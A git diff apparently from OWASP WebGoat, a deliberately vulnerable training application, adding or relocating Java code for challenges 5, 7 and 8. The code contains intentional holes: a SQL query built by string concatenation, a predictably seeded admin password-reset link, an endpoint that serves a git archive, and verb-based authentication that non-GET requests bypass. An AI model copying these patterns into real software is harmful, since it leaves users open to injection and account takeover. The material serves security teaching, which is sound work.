-import javax.sql.DataSource; -import java.sql.PreparedStatement; -import java.sql.ResultSet; - @RestController @Slf4j public class Assignment5 extends AssignmentEndpoint { - private final LessonDataSource dataSource; + private final LessonDataSource dataSource; - public Assignment5(LessonDataSource dataSource) { - this.dataSource = dataSource; + public Assignment5(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/challenge/5") + @ResponseBody + public AttackResult login( + @RequestParam String username_login, @RequestParam String password_login) throws Exception { + if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) { + return failed(this).feedback("required4").build(); } - - @PostMapping("/challenge/5") - @ResponseBody - public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception { - if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) { - return failed(this).feedback("required4").build(); - } - if (!"Larry".equals(username_login)) { - return failed(this).feedback("user.not.larry").feedbackArgs(username_login).build(); - } - try (var connection = dataSource.getConnection()) { - PreparedStatement statement = connection.prepareStatement("select password from challenge_users where userid = '" + username_login + "' and password = '" + password_login + "'"); - ResultSet resultSet = statement.executeQuery(); - - if (resultSet.next()) { - return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build(); - } else { - return failed(this).feedback("challenge.close").build(); - } - } + if (!"Larry".equals(username_login)) { + return failed(this).feedback("user.not.larry").feedbackArgs(username_login).build(); } + try (var connection = dataSource.getConnection()) { + PreparedStatement statement = + connection.prepareStatement( + "select password from challenge_users where userid = '" + + username_login + + "' and password = '" + + password_login + + "'"); + ResultSet resultSet = statement.executeQuery(); + + if (resultSet.next()) { + return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build(); + } else { + return failed(this).feedback("challenge.close").build(); + } + } + } } - diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Challenge5.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Challenge5.java similarity index 78% rename from webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Challenge5.java rename to src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Challenge5.java index ab068ff2a..7fe4cfa9c 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Challenge5.java +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Challenge5.java @@ -20,10 +20,10 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.challenges.challenge5; +package org.owasp.webgoat.lessons.challenges.challenge5; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** @@ -33,13 +33,13 @@ import org.springframework.stereotype.Component; @Component public class Challenge5 extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.CHALLENGE; - } + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } - @Override - public String getTitle() { - return "challenge5.title"; - } + @Override + public String getTitle() { + return "challenge5.title"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java new file mode 100644 index 000000000..30e17288c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java @@ -0,0 +1,99 @@ +package org.owasp.webgoat.lessons.challenges.challenge7; + +import java.net.URI; +import java.net.URISyntaxException; +import java.time.LocalDateTime; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.challenges.Email; +import org.owasp.webgoat.lessons.challenges.Flag; +import org.owasp.webgoat.lessons.challenges.SolutionConstants; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.ClassPathResource; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestTemplate; + +/** + * @author nbaars + * @since 4/8/17. + */ +@RestController +@Slf4j +public class Assignment7 extends AssignmentEndpoint { + + private static final String TEMPLATE = + "Hi, you requested a password reset link, please use this link to reset your" + + " password.\n" + + " \n\n" + + "If you did not request this password change you can ignore this message.\n" + + "If you have any comments or questions, please do not hesitate to reach us at" + + " support@webgoat-cloud.org\n\n" + + "Kind regards, \n" + + "Team WebGoat"; + + @Autowired private RestTemplate restTemplate; + + @Value("${webwolf.mail.url}") + private String webWolfMailURL; + + @GetMapping("/challenge/7/reset-password/{link}") + public ResponseEntity resetPassword(@PathVariable(value = "link") String link) { + if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) { + return ResponseEntity.accepted() + .body( + "

Success!!

" + + "" + + "

Here is your flag: " + + "" + + Flag.FLAGS.get(7) + + ""); + } + return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT) + .body("That is not the reset link for admin"); + } + + @PostMapping("/challenge/7") + @ResponseBody + public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request) + throws URISyntaxException { + if (StringUtils.hasText(email)) { + String username = email.substring(0, email.indexOf("@")); + if (StringUtils.hasText(username)) { + URI uri = new URI(request.getRequestURL().toString()); + Email mail = + Email.builder() + .title("Your password reset link for challenge 7") + .contents( + String.format( + TEMPLATE, + uri.getScheme() + "://" + uri.getHost(), + new PasswordResetLink().createPasswordReset(username, "webgoat"))) + .sender("password-reset@webgoat-cloud.net") + .recipient(username) + .time(LocalDateTime.now()) + .build(); + restTemplate.postForEntity(webWolfMailURL, mail, Object.class); + } + } + return success(this).feedback("email.send").feedbackArgs(email).build(); + } + + @GetMapping(value = "/challenge/7/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE) + @ResponseBody + public ClassPathResource git() { + return new ClassPathResource("challenge7/git.zip"); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Challenge7.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Challenge7.java new file mode 100644 index 000000000..ee14c8325 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Challenge7.java @@ -0,0 +1,23 @@ +package org.owasp.webgoat.lessons.challenges.challenge7; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author nbaars + * @since 3/21/17. + */ +@Component +public class Challenge7 extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge7.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/MD5.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/MD5.java new file mode 100644 index 000000000..d523b6ba9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/MD5.java @@ -0,0 +1,725 @@ +package org.owasp.webgoat.lessons.challenges.challenge7; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.UnsupportedEncodingException; + +/** + * MD5 hash generator. More information about this class is available from ostermiller.org. + * + *

This class takes as input a message of arbitrary length and produces as output a 128-bit + * "fingerprint" or "message digest" of the input. It is conjectured that it is computationally + * infeasible to produce two messages having the same message digest, or to produce any message + * having a given pre-specified target message digest. The MD5 algorithm is intended for digital + * signature applications, where a large file must be "compressed" in a secure manner before being + * encrypted with a private (secret) key under a public-key cryptosystem such as RSA. + * + *

For more information see RFC1321. + * + * @author Santeri Paavolainen http://santtu.iki.fi/md5/ + * @author Stephen Ostermiller http://ostermiller.org/contact.pl?regarding=Java+Utilities + * @since ostermillerutils 1.00.00 + */ +public class MD5 { + + /** + * Class constructor + * + * @since ostermillerutils 1.00.00 + */ + public MD5() { + reset(); + } + + /** + * Command line program that will take files as arguments and output the MD5 sum for each file. + * + * @param args command line arguments + * @since ostermillerutils 1.00.00 + */ + public static void main(String[] args) { + if (args.length == 0) { + System.err.println("Please specify a file."); + } else { + for (String element : args) { + try { + System.out.println(MD5.getHashString(new File(element)) + " " + element); + } catch (IOException x) { + System.err.println(x.getMessage()); + } + } + } + } + + /** + * Gets this hash sum as an array of 16 bytes. + * + * @return Array of 16 bytes, the hash of all updated bytes. + * @since ostermillerutils 1.00.00 + */ + public byte[] getHash() { + if (!finalState.valid) { + finalState.copy(workingState); + long bitCount = finalState.bitCount; + // Compute the number of left over bits + int leftOver = (int) (((bitCount >>> 3)) & 0x3f); + // Compute the amount of padding to add based on number of left over bits. + int padlen = (leftOver < 56) ? (56 - leftOver) : (120 - leftOver); + // add the padding + update(finalState, padding, 0, padlen); + // add the length (computed before padding was added) + update(finalState, encode(bitCount), 0, 8); + finalState.valid = true; + } + // make a copy of the hash before returning it. + return encode(finalState.state, 16); + } + + /** + * Returns 32-character hex representation of this hash. + * + * @return String representation of this object's hash. + * @since ostermillerutils 1.00.00 + */ + public String getHashString() { + return toHex(this.getHash()); + } + + /** + * Gets the MD5 hash of the given byte array. + * + * @param b byte array for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(byte[] b) { + MD5 md5 = new MD5(); + md5.update(b); + return md5.getHash(); + } + + /** + * Gets the MD5 hash of the given byte array. + * + * @param b byte array for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(byte[] b) { + MD5 md5 = new MD5(); + md5.update(b); + return md5.getHashString(); + } + + /** + * Gets the MD5 hash the data on the given InputStream. + * + * @param in byte array for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(InputStream in) throws IOException { + MD5 md5 = new MD5(); + byte[] buffer = new byte[1024]; + int read; + while ((read = in.read(buffer)) != -1) { + md5.update(buffer, read); + } + return md5.getHash(); + } + + /** + * Gets the MD5 hash the data on the given InputStream. + * + * @param in byte array for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(InputStream in) throws IOException { + MD5 md5 = new MD5(); + byte[] buffer = new byte[1024]; + int read; + while ((read = in.read(buffer)) != -1) { + md5.update(buffer, read); + } + return md5.getHashString(); + } + + /** + * Gets the MD5 hash of the given file. + * + * @param f file for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(File f) throws IOException { + byte[] hash = null; + try (InputStream is = new FileInputStream(f)) { + hash = getHash(is); + } + return hash; + } + + /** + * Gets the MD5 hash of the given file. + * + * @param f file array for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @throws IOException if an I/O error occurs. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(File f) throws IOException { + String hash = null; + try (InputStream is = new FileInputStream(f)) { + hash = getHashString(is); + } + return hash; + } + + /** + * Gets the MD5 hash of the given String. The string is converted to bytes using the current + * platform's default character encoding. + * + * @param s String for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(String s) { + MD5 md5 = new MD5(); + md5.update(s); + return md5.getHash(); + } + + /** + * Gets the MD5 hash of the given String. The string is converted to bytes using the current + * platform's default character encoding. + * + * @param s String for which an MD5 hash is desired. + * @return 32-character hex representation the data's MD5 hash. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(String s) { + MD5 md5 = new MD5(); + md5.update(s); + return md5.getHashString(); + } + + /** + * Gets the MD5 hash of the given String. + * + * @param s String for which an MD5 hash is desired. + * @param enc The name of a supported character encoding. + * @return Array of 16 bytes, the hash of all updated bytes. + * @throws UnsupportedEncodingException If the named encoding is not supported. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(String s, String enc) throws UnsupportedEncodingException { + MD5 md5 = new MD5(); + md5.update(s, enc); + return md5.getHash(); + } + + /** + * Gets the MD5 hash of the given String. + * + * @param s String for which an MD5 hash is desired. + * @param enc The name of a supported character encoding. + * @return 32-character hex representation the data's MD5 hash. + * @throws UnsupportedEncodingException If the named encoding is not supported. + * @since ostermillerutils 1.00.00 + */ + public static String getHashString(String s, String enc) throws UnsupportedEncodingException { + MD5 md5 = new MD5(); + md5.update(s, enc); + return md5.getHashString(); + } + + /** + * Reset the MD5 sum to its initial state. + * + * @since ostermillerutils 1.00.00 + */ + public void reset() { + workingState.reset(); + finalState.valid = false; + } + + /** + * Returns 32-character hex representation of this hash. + * + * @return String representation of this object's hash. + * @since ostermillerutils 1.00.00 + */ + @Override + public String toString() { + return getHashString(); + } + + /** + * Update this hash with the given data. + * + *

A state may be passed into this method so that we can add padding and finalize a md5 hash + * without limiting our ability to update more data later. + * + *

If length bytes are not available to be hashed, as many bytes as possible will be hashed. + * + * @param state Which state is updated. + * @param buffer Array of bytes to be hashed. + * @param offset Offset to buffer array. + * @param length number of bytes to hash. + * @since ostermillerutils 1.00.00 + */ + private void update(MD5State state, byte buffer[], int offset, int length) { + + finalState.valid = false; + + // if length goes beyond the end of the buffer, cut it short. + if ((length + offset) > buffer.length) { + length = buffer.length - offset; + } + + // compute number of bytes mod 64 + // this is what we have sitting in a buffer + // that have not been hashed yet + int index = (int) (state.bitCount >>> 3) & 0x3f; + + // add the length to the count (translate bytes to bits) + state.bitCount += length << 3; + + int partlen = 64 - index; + + int i = 0; + if (length >= partlen) { + System.arraycopy(buffer, offset, state.buffer, index, partlen); + transform(state, decode(state.buffer, 64, 0)); + for (i = partlen; (i + 63) < length; i += 64) { + transform(state, decode(buffer, 64, i)); + } + index = 0; + } + + // buffer remaining input + if (i < length) { + for (int start = i; i < length; i++) { + state.buffer[index + i - start] = buffer[i + offset]; + } + } + } + + /** + * Update this hash with the given data. + * + *

If length bytes are not available to be hashed, as many bytes as possible will be hashed. + * + * @param buffer Array of bytes to be hashed. + * @param offset Offset to buffer array. + * @param length number of bytes to hash. + * @since ostermillerutils 1.00.00 + */ + public void update(byte buffer[], int offset, int length) { + update(workingState, buffer, offset, length); + } + + /** + * Update this hash with the given data. + * + *

If length bytes are not available to be hashed, as many bytes as possible will be hashed. + * + * @param buffer Array of bytes to be hashed. + * @param length number of bytes to hash. + * @since ostermillerutils 1.00.00 + */ + public void update(byte buffer[], int length) { + update(buffer, 0, length); + } + + /** + * Update this hash with the given data. + * + * @param buffer Array of bytes to be hashed. + * @since ostermillerutils 1.00.00 + */ + public void update(byte buffer[]) { + update(buffer, 0, buffer.length); + } + + /** + * Updates this hash with a single byte. + * + * @param b byte to be hashed. + * @since ostermillerutils 1.00.00 + */ + public void update(byte b) { + byte buffer[] = new byte[1]; + buffer[0] = b; + update(buffer, 1); + } + + /** + * Update this hash with a String. The string is converted to bytes using the current platform's + * default character encoding. + * + * @param s String to be hashed. + * @since ostermillerutils 1.00.00 + */ + public void update(String s) { + update(s.getBytes()); + } + + /** + * Update this hash with a String. + * + * @param s String to be hashed. + * @param enc The name of a supported character encoding. + * @throws UnsupportedEncodingException If the named encoding is not supported. + * @since ostermillerutils 1.00.00 + */ + public void update(String s, String enc) throws UnsupportedEncodingException { + update(s.getBytes(enc)); + } + + /** + * The current state from which the hash sum can be computed or updated. + * + * @since ostermillerutils 1.00.00 + */ + private MD5State workingState = new MD5State(); + + /** + * Cached copy of the final MD5 hash sum. This is created when the hash is requested and it is + * invalidated when the hash is updated. + * + * @since ostermillerutils 1.00.00 + */ + private MD5State finalState = new MD5State(); + + /** + * Temporary buffer cached here for performance reasons. + * + * @since ostermillerutils 1.00.00 + */ + private int[] decodeBuffer = new int[16]; + + /** + * 64 bytes of padding that can be added if the length is not divisible by 64. + * + * @since ostermillerutils 1.00.00 + */ + private static final byte padding[] = { + (byte) 0x80, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + }; + + /** + * Contains internal state of the MD5 class. Passes MD5 test suite as defined in RFC1321. + * + * @since ostermillerutils 1.00.00 + */ + private class MD5State { + + /** + * True if this state is valid. + * + * @since ostermillerutils 1.00.00 + */ + private boolean valid = true; + + /** + * Reset to initial state. + * + * @since ostermillerutils 1.00.00 + */ + private void reset() { + state[0] = 0x67452301; + state[1] = 0xefcdab89; + state[2] = 0x98badcfe; + state[3] = 0x10325476; + + bitCount = 0; + } + + /** + * 128-byte state + * + * @since ostermillerutils 1.00.00 + */ + private int state[] = new int[4]; + + /** + * 64-bit count of the number of bits that have been hashed. + * + * @since ostermillerutils 1.00.00 + */ + private long bitCount; + + /** + * 64-byte buffer (512 bits) for storing to-be-hashed characters + * + * @since ostermillerutils 1.00.00 + */ + private byte buffer[] = new byte[64]; + + private MD5State() { + reset(); + } + + /** + * Set this state to be exactly the same as some other. + * + * @param from state to copy from. + * @since ostermillerutils 1.00.00 + */ + private void copy(MD5State from) { + System.arraycopy(from.buffer, 0, this.buffer, 0, this.buffer.length); + System.arraycopy(from.state, 0, this.state, 0, this.state.length); + this.valid = from.valid; + this.bitCount = from.bitCount; + } + } + + /** + * Turns array of bytes into string representing each byte as a two digit unsigned hex number. + * + * @param hash Array of bytes to convert to hex-string + * @return Generated hex string + * @since ostermillerutils 1.00.00 + */ + private static String toHex(byte hash[]) { + StringBuilder buf = new StringBuilder(hash.length * 2); + for (byte element : hash) { + int intVal = element & 0xff; + if (intVal < 0x10) { + // append a zero before a one digit hex + // number to make it two digits. + buf.append("0"); + } + buf.append(Integer.toHexString(intVal)); + } + return buf.toString(); + } + + private static int FF(int a, int b, int c, int d, int x, int s, int ac) { + a += ((b & c) | (~b & d)); + a += x; + a += ac; + // return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static int GG(int a, int b, int c, int d, int x, int s, int ac) { + a += ((b & d) | (c & ~d)); + a += x; + a += ac; + // return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static int HH(int a, int b, int c, int d, int x, int s, int ac) { + a += (b ^ c ^ d); + a += x; + a += ac; + // return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static int II(int a, int b, int c, int d, int x, int s, int ac) { + a += (c ^ (b | ~d)); + a += x; + a += ac; + // return rotateLeft(a, s) + b; + a = (a << s) | (a >>> (32 - s)); + return a + b; + } + + private static byte[] encode(long l) { + byte[] out = new byte[8]; + out[0] = (byte) (l & 0xff); + out[1] = (byte) ((l >>> 8) & 0xff); + out[2] = (byte) ((l >>> 16) & 0xff); + out[3] = (byte) ((l >>> 24) & 0xff); + out[4] = (byte) ((l >>> 32) & 0xff); + out[5] = (byte) ((l >>> 40) & 0xff); + out[6] = (byte) ((l >>> 48) & 0xff); + out[7] = (byte) ((l >>> 56) & 0xff); + return out; + } + + private static byte[] encode(int input[], int len) { + byte[] out = new byte[len]; + int i, j; + for (i = j = 0; j < len; i++, j += 4) { + out[j] = (byte) (input[i] & 0xff); + out[j + 1] = (byte) ((input[i] >>> 8) & 0xff); + out[j + 2] = (byte) ((input[i] >>> 16) & 0xff); + out[j + 3] = (byte) ((input[i] >>> 24) & 0xff); + } + return out; + } + + private int[] decode(byte buffer[], int len, int offset) { + int i, j; + for (i = j = 0; j < len; i++, j += 4) { + decodeBuffer[i] = + ((buffer[j + offset] & 0xff)) + | (((buffer[j + 1 + offset] & 0xff)) << 8) + | (((buffer[j + 2 + offset] & 0xff)) << 16) + | (((buffer[j + 3 + offset] & 0xff)) << 24); + } + return decodeBuffer; + } + + private static void transform(MD5State state, int[] x) { + int a = state.state[0]; + int b = state.state[1]; + int c = state.state[2]; + int d = state.state[3]; + + /* Round 1 */ + a = FF(a, b, c, d, x[0], 7, 0xd76aa478); /* 1 */ + d = FF(d, a, b, c, x[1], 12, 0xe8c7b756); /* 2 */ + c = FF(c, d, a, b, x[2], 17, 0x242070db); /* 3 */ + b = FF(b, c, d, a, x[3], 22, 0xc1bdceee); /* 4 */ + a = FF(a, b, c, d, x[4], 7, 0xf57c0faf); /* 5 */ + d = FF(d, a, b, c, x[5], 12, 0x4787c62a); /* 6 */ + c = FF(c, d, a, b, x[6], 17, 0xa8304613); /* 7 */ + b = FF(b, c, d, a, x[7], 22, 0xfd469501); /* 8 */ + a = FF(a, b, c, d, x[8], 7, 0x698098d8); /* 9 */ + d = FF(d, a, b, c, x[9], 12, 0x8b44f7af); /* 10 */ + c = FF(c, d, a, b, x[10], 17, 0xffff5bb1); /* 11 */ + b = FF(b, c, d, a, x[11], 22, 0x895cd7be); /* 12 */ + a = FF(a, b, c, d, x[12], 7, 0x6b901122); /* 13 */ + d = FF(d, a, b, c, x[13], 12, 0xfd987193); /* 14 */ + c = FF(c, d, a, b, x[14], 17, 0xa679438e); /* 15 */ + b = FF(b, c, d, a, x[15], 22, 0x49b40821); /* 16 */ + + /* Round 2 */ + a = GG(a, b, c, d, x[1], 5, 0xf61e2562); /* 17 */ + d = GG(d, a, b, c, x[6], 9, 0xc040b340); /* 18 */ + c = GG(c, d, a, b, x[11], 14, 0x265e5a51); /* 19 */ + b = GG(b, c, d, a, x[0], 20, 0xe9b6c7aa); /* 20 */ + a = GG(a, b, c, d, x[5], 5, 0xd62f105d); /* 21 */ + d = GG(d, a, b, c, x[10], 9, 0x02441453); /* 22 */ + c = GG(c, d, a, b, x[15], 14, 0xd8a1e681); /* 23 */ + b = GG(b, c, d, a, x[4], 20, 0xe7d3fbc8); /* 24 */ + a = GG(a, b, c, d, x[9], 5, 0x21e1cde6); /* 25 */ + d = GG(d, a, b, c, x[14], 9, 0xc33707d6); /* 26 */ + c = GG(c, d, a, b, x[3], 14, 0xf4d50d87); /* 27 */ + b = GG(b, c, d, a, x[8], 20, 0x455a14ed); /* 28 */ + a = GG(a, b, c, d, x[13], 5, 0xa9e3e905); /* 29 */ + d = GG(d, a, b, c, x[2], 9, 0xfcefa3f8); /* 30 */ + c = GG(c, d, a, b, x[7], 14, 0x676f02d9); /* 31 */ + b = GG(b, c, d, a, x[12], 20, 0x8d2a4c8a); /* 32 */ + + /* Round 3 */ + a = HH(a, b, c, d, x[5], 4, 0xfffa3942); /* 33 */ + d = HH(d, a, b, c, x[8], 11, 0x8771f681); /* 34 */ + c = HH(c, d, a, b, x[11], 16, 0x6d9d6122); /* 35 */ + b = HH(b, c, d, a, x[14], 23, 0xfde5380c); /* 36 */ + a = HH(a, b, c, d, x[1], 4, 0xa4beea44); /* 37 */ + d = HH(d, a, b, c, x[4], 11, 0x4bdecfa9); /* 38 */ + c = HH(c, d, a, b, x[7], 16, 0xf6bb4b60); /* 39 */ + b = HH(b, c, d, a, x[10], 23, 0xbebfbc70); /* 40 */ + a = HH(a, b, c, d, x[13], 4, 0x289b7ec6); /* 41 */ + d = HH(d, a, b, c, x[0], 11, 0xeaa127fa); /* 42 */ + c = HH(c, d, a, b, x[3], 16, 0xd4ef3085); /* 43 */ + b = HH(b, c, d, a, x[6], 23, 0x04881d05); /* 44 */ + a = HH(a, b, c, d, x[9], 4, 0xd9d4d039); /* 45 */ + d = HH(d, a, b, c, x[12], 11, 0xe6db99e5); /* 46 */ + c = HH(c, d, a, b, x[15], 16, 0x1fa27cf8); /* 47 */ + b = HH(b, c, d, a, x[2], 23, 0xc4ac5665); /* 48 */ + + /* Round 4 */ + a = II(a, b, c, d, x[0], 6, 0xf4292244); /* 49 */ + d = II(d, a, b, c, x[7], 10, 0x432aff97); /* 50 */ + c = II(c, d, a, b, x[14], 15, 0xab9423a7); /* 51 */ + b = II(b, c, d, a, x[5], 21, 0xfc93a039); /* 52 */ + a = II(a, b, c, d, x[12], 6, 0x655b59c3); /* 53 */ + d = II(d, a, b, c, x[3], 10, 0x8f0ccc92); /* 54 */ + c = II(c, d, a, b, x[10], 15, 0xffeff47d); /* 55 */ + b = II(b, c, d, a, x[1], 21, 0x85845dd1); /* 56 */ + a = II(a, b, c, d, x[8], 6, 0x6fa87e4f); /* 57 */ + d = II(d, a, b, c, x[15], 10, 0xfe2ce6e0); /* 58 */ + c = II(c, d, a, b, x[6], 15, 0xa3014314); /* 59 */ + b = II(b, c, d, a, x[13], 21, 0x4e0811a1); /* 60 */ + a = II(a, b, c, d, x[4], 6, 0xf7537e82); /* 61 */ + d = II(d, a, b, c, x[11], 10, 0xbd3af235); /* 62 */ + c = II(c, d, a, b, x[2], 15, 0x2ad7d2bb); /* 63 */ + b = II(b, c, d, a, x[9], 21, 0xeb86d391); /* 64 */ + + state.state[0] += a; + state.state[1] += b; + state.state[2] += c; + state.state[3] += d; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/PasswordResetLink.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/PasswordResetLink.java new file mode 100644 index 000000000..ff00f06cb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/PasswordResetLink.java @@ -0,0 +1,45 @@ +package org.owasp.webgoat.lessons.challenges.challenge7; + +import java.util.Random; + +/** + * WARNING: DO NOT CHANGE FILE WITHOUT CHANGING .git contents + * + * @author nbaars + * @since 8/17/17. + */ +public class PasswordResetLink { + + public String createPasswordReset(String username, String key) { + Random random = new Random(); + if (username.equalsIgnoreCase("admin")) { + // Admin has a fix reset link + random.setSeed(key.length()); + } + return scramble(random, scramble(random, scramble(random, MD5.getHashString(username)))); + } + + public static String scramble(Random random, String inputString) { + char[] a = inputString.toCharArray(); + for (int i = 0; i < a.length; i++) { + int j = random.nextInt(a.length); + char temp = a[i]; + a[i] = a[j]; + a[j] = temp; + } + return new String(a); + } + + public static void main(String[] args) { + if (args == null || args.length != 2) { + System.out.println("Need a username and key"); + System.exit(1); + } + String username = args[0]; + String key = args[1]; + System.out.println("Generation password reset link for " + username); + System.out.println( + "Created password reset link: " + + new PasswordResetLink().createPasswordReset(username, key)); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java new file mode 100644 index 000000000..535b92f18 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java @@ -0,0 +1,76 @@ +package org.owasp.webgoat.lessons.challenges.challenge8; + +import java.util.HashMap; +import java.util.Map; +import java.util.stream.Collectors; +import javax.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.challenges.Flag; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/8/17. + */ +@RestController +@Slf4j +public class Assignment8 extends AssignmentEndpoint { + + private static final Map votes = new HashMap<>(); + + static { + votes.put(1, 400); + votes.put(2, 120); + votes.put(3, 140); + votes.put(4, 150); + votes.put(5, 300); + } + + @GetMapping(value = "/challenge/8/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public ResponseEntity vote( + @PathVariable(value = "stars") int nrOfStars, HttpServletRequest request) { + // Simple implementation of VERB Based Authentication + String msg = ""; + if (request.getMethod().equals("GET")) { + var json = + Map.of("error", true, "message", "Sorry but you need to login first in order to vote"); + return ResponseEntity.status(200).body(json); + } + Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0); + votes.put(nrOfStars, allVotesForStar + 1); + return ResponseEntity.ok() + .header("X-Flag", "Thanks for voting, your flag is: " + Flag.FLAGS.get(8)) + .build(); + } + + @GetMapping("/challenge/8/votes/") + public ResponseEntity getVotes() { + return ResponseEntity.ok( + votes.entrySet().stream() + .collect(Collectors.toMap(e -> "" + e.getKey(), e -> e.getValue()))); + } + + @GetMapping("/challenge/8/votes/average") + public ResponseEntity> average() { + int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum(); + int categories = + votes.entrySet().stream() + .mapToInt(e -> e.getKey() * e.getValue()) + .reduce(0, (a, b) -> a + b); + var json = Map.of("average", (int) Math.ceil((double) categories / totalNumberOfVotes)); + return ResponseEntity.ok(json); + } + + @GetMapping("/challenge/8/notUsed") + public AttackResult notUsed() { + throw new IllegalStateException("Should never be called, challenge specific method"); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Challenge8.java b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Challenge8.java new file mode 100644 index 000000000..c610a1bd9 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Challenge8.java @@ -0,0 +1,23 @@ +package 